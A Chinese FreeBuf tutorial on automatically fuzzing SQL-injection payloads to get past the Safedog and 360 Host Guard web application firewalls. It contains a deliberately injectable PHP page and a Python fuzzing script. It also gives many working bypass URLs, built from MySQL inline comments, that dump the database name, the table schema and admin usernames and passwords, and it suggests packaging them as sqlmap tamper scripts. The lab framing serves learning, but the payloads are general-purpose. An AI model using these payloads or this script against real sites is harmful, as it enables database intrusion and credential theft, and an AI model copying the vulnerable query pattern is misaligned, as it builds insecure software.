當前位置:
首頁 > 新聞 > Fuzz自動化Bypass軟WAF姿勢

Fuzz自動化Bypass軟WAF姿勢

*本文原創作者:FK_T,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


0×00 前言


在我剛接觸安全這塊時候遇到注入有WAF的網站時候無從下手,尋找各種有關繞過waf的文章,在網頁瀏覽器上使用SQL語句為了繞過WAF變了個法加了些特殊的數字注釋符就懵了,當然最後經過精心構造的SQL語句,資料庫必須也得能識別並執行。本文主要介紹如何在本地安裝軟WAF並使用Python寫的Fuzz腳本自動化繞過WAF並結合跑出來的Payload語句繞過安全防護軟體。文章寫的比較細主要分享下,更多細節方面請參考上篇文章 全方位繞過軟WAF攻略。

找一些奇葩的語句還可以執行的,或者自己能構造的,說的簡單點就和密碼爆破一樣有些人字典強就可以掃到各種強悍的弱口令,Fuzz跑組合就有姿勢了。


0x01 安全狗安裝


訪問:http://www.safedog.cn/website_safedog.html


選擇自己的平台和web容器,我的是windows平台,Apacheweb容器,所以我就下載windows apache版



這裡自定義路徑,將開機自啟動關閉




如果是使用phpstudy的話,請將運行模式改成系統服務,不然前面安全狗的插件會安裝不上


0x02**

安全狗卸載**


這裡講下細節部分卸載安全狗後出現的問題,啟動Apache會發生錯誤:



在Apache的conf目錄下有這樣一個文件,SafeDogSiteApacheFilter.Conf,當然當您卸載以後可能這個文件也隨之刪除了,但是http.conf文件中還有這樣一段:Include 「d:/wamp/apache24/conf/SafeDogSiteApacheFilter.Conf」,我們只需要刪除這段話就可以讓apache成功的啟動了



SQL注入代碼

<?phpheader("content-type:text/html;chaset=utf-8");ini_set("display_errors",0);$mysqli = new mysqli("localhost", "root","root","fkt");$sql = "select * from new where id=".$_GET["id"];$result = $mysqli->query($sql);if($result === false){//執行失敗    echo $mysqli->error;    echo $mysqli->errno;}echo "<hr><table border="1px" align="center">";echo "<tr><th>ID</th><th>a</th><th>fkt</th></tr>";while($row = $result->fetch_assoc()){ echo "<tr>";    echo "<td>".$row["id"]."</td>";    echo "<td>wait</td>";    echo "<td>".$row["content"]."</td>";    echo "</tr>";}echo "</table>";$mysqli->close();?>

mysql語句

mysql> create database fkt;Query OK, 1 row affected (0.00 sec)mysql> use fkt;Database changedmysql> CREATE TABLE new(    ->     id int not null,    ->     content char(20)    -> );Query OK, 0 rows affected (0.19 sec)mysql> insert into new    -> values(    -> "1","xiaobai");Query OK, 1 row affected (0.02 sec)

0x03

 mysql模擬注入查詢**


**


mysql的注釋有三種方式:



1、塊注釋:/ ….. /


2、行注釋:#


3、行注釋:— (—%20,注意後面有一個空格,與SQL標準稍有差別)


自MySQL3.23 版以來,可在C 風格的注釋中「隱藏」 MySQL特有的關鍵字,注釋以「/ !」而不是以「 / 」起頭

現在我們在mysql命令行中執行一下SQL語句:

Select * from news where id=1Select * from news /*!where*/id=1

我們來看下在命令行下執行的結果:



還是可以正常的查詢出內容,我們在mysql命令行中進行下聯合查詢注入:Order by N

Select * from new where id =1 order by 1;Select * from new where id =1 order by 2;

Order by 測試出欄位為2:



使用mysql聯合查詢步驟,模擬SQL注入回顯數據

select * from new where id=1 union all select null,null;select * from new where id=1 and 1=2 union all select null,null;select * from new where id=1 and 1=2 union all select user(),null;

**


這樣也是能正常查詢出來的

mysql> select * from new where id=1 and 1=2 union all select /*!user*//*!()*/,null;

**

我們在瀏覽器上通過內聯注釋注入一下看看會不會被攔截,還是被攔截了,老版本的安全狗可以通過內聯注釋繞過所以咱們今天Fuzz自動化Bypass的思路就是結合這個內聯注釋,加一些特殊符號,以及url編碼來進行對安全狗的繞過

http://192.168.30.129/fuzz/index.php?id=1/*!union*//*!select*/1,2

**


0x04 

Fuzz自動化bypass**


代碼比較簡潔我就直接給上注釋了這樣看得清晰點,只要是在釋符號裡面就可以包括任意特殊的符號等,擋住WAF的視線這樣說更明白點。列如: /!unionselect/


Fuzz腳本代碼如下:


**


注意底部我的SQL查詢的頁面中有wait這個字元,沒有wait的話你就看看』』正常的頁面在有啥必出現的字元 改了就行或者在加個else print (」未過狗」)


code如下:

#encoding=utf-8#實現思路;#不被攔截的頁面上會出現字元「wait」#被攔截的不會,使用for循環請求並檢查返回的頁面中是否存在該字元即可。import requests#引入請求模塊url = "http://127.0.0.1/index.php?id=1";#定義目標Fuzz_a = ["/*!","*/","/**/","/","?","~","!",".","%","-","*","+","="]Fuzz_b = [""]Fuzz_c = ["%0a","%0b","%0c","%0d","%0e","%0f","%0h","%0i","%0j"]FUZZ = Fuzz_a+Fuzz_b+Fuzz_c#配置fuzz字典header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"}#設置請求的headersfor a in FUZZ: pass for b in FUZZ: pass for c in FUZZ: for d in FUZZ: pass for e in FUZZ: pass PYLOAD = "/*!union"+a+b+c+d+e+"select*/ 1,2" urlp = url+PYLOAD res = requests.get(urlp,headers=header) #使用for排列組合fuzz字典並請求頁面 if "wait" in res.text: print ("[*]URL:"+ urlp +"過狗!") f=open("result.txt","a") f.write(urlp+"
") f.close #如果返回的頁面中包含wait字元,則列印並寫出過狗payload。

將這段代碼放進kali linux,或者windows系統需要安裝pip模塊python2.7即可然後運行一下



在運行之前一定要將cc防護關閉, 或者把IP黑名單關掉Fuzz過快容易被封IP


在windows系統上運行幾分鐘後,會出現一個叫result.txt的文件,裡面就是我們跑出來的姿勢了



kali運行結果如下



隨便取一個姿勢出來看看姿勢有了

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*/1,2


我們來手工繞過下吧!

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user()/*!/*!*/,2


這樣又被攔截了,「你不是說繞過了安全狗了嗎?」。當然已經繞過了,需要這樣寫語句

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,2

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,/*!database/*!()*/

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(table_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.tables/*!/*!*//*!where/*!/*!*//*!table_schema=/*!/*!*//*!database/*!/*!()*/

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(column_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.columns/*!/*!*//*!where/*!/*!*//*!table_name=/*!/*!*//*!"admin"/*!/*!*/


獲取出了admin表的欄位

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(concat(user,0x2c,pwd))/*!/*!*/,NULL/*!from/*!/*!*//*!admin/*!/*!*/


360主機衛士Fuzz

同樣的我們來測試下360主機衛士



Fuzz匹配到的語句



http://192.168.30.135/fuzz/index.php?id=1/!union/!/!/!%0d%0dselect*/ 1,2 取一個姿勢試試完全可以



這樣就完全沒問題了!姿勢有了,當然也可以寫入到Sqlmap的Tamper腳本上,Copyslqmap amper目錄下文件 ,按照他的規則,照著改下就行了


最後附上一個過360主機的腳本 可以參考 按照如下寫法



結尾:


文章只是拋磚引玉了下,主要是個思路學習過程,使用Pyhton腳本結合了下Mysql內聯注釋定義了一些特殊符號相當給腳本配合了一個字典達到Fuzz最終的效果,完了之後 也可以對比一下,看一下能過的Fuzz有沒有特點的規律 總結一下。當然也可以自己在自定義一些,在測試其他的軟WAF不局限於以上這些內容。


*本文原創作者:FK_T,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

谷歌母公司Alphabet宣布成立新的獨立信息安全公司Chronicle
拒絕成為免費勞動力:檢測含有挖礦腳本的WiFi熱點

TAG:FreeBuf |